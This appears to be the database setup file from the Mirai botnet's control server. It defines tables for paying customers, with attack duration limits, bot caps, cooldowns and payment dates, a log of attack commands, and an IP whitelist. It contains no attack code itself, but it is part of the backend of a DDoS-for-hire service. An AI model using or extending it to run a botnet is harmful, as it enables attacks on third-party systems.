37 lines
1.0 KiB
SQL
37 lines
1.0 KiB
SQL
CREATE DATABASE mirai;
|
|
|
|
CREATE TABLE `history` (
|
|
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
|
`user_id` int(10) unsigned NOT NULL,
|
|
`time_sent` int(10) unsigned NOT NULL,
|
|
`duration` int(10) unsigned NOT NULL,
|
|
`command` text NOT NULL,
|
|
`max_bots` int(11) DEFAULT '-1',
|
|
PRIMARY KEY (`id`),
|
|
KEY `user_id` (`user_id`)
|
|
);
|
|
|
|
CREATE TABLE `users` (
|
|
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
|
`username` varchar(32) NOT NULL,
|
|
`password` varchar(32) NOT NULL,
|
|
`duration_limit` int(10) unsigned DEFAULT NULL,
|
|
`cooldown` int(10) unsigned NOT NULL,
|
|
`wrc` int(10) unsigned DEFAULT NULL,
|
|
`last_paid` int(10) unsigned NOT NULL,
|
|
`max_bots` int(11) DEFAULT '-1',
|
|
`admin` int(10) unsigned DEFAULT '0',
|
|
`intvl` int(10) unsigned DEFAULT '30',
|
|
`api_key` text,
|
|
PRIMARY KEY (`id`),
|
|
KEY `username` (`username`)
|
|
);
|
|
|
|
CREATE TABLE `whitelist` (
|
|
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
|
|
`prefix` varchar(16) DEFAULT NULL,
|
|
`netmask` tinyint(3) unsigned DEFAULT NULL,
|
|
PRIMARY KEY (`id`),
|
|
KEY `prefix` (`prefix`)
|
|
);
|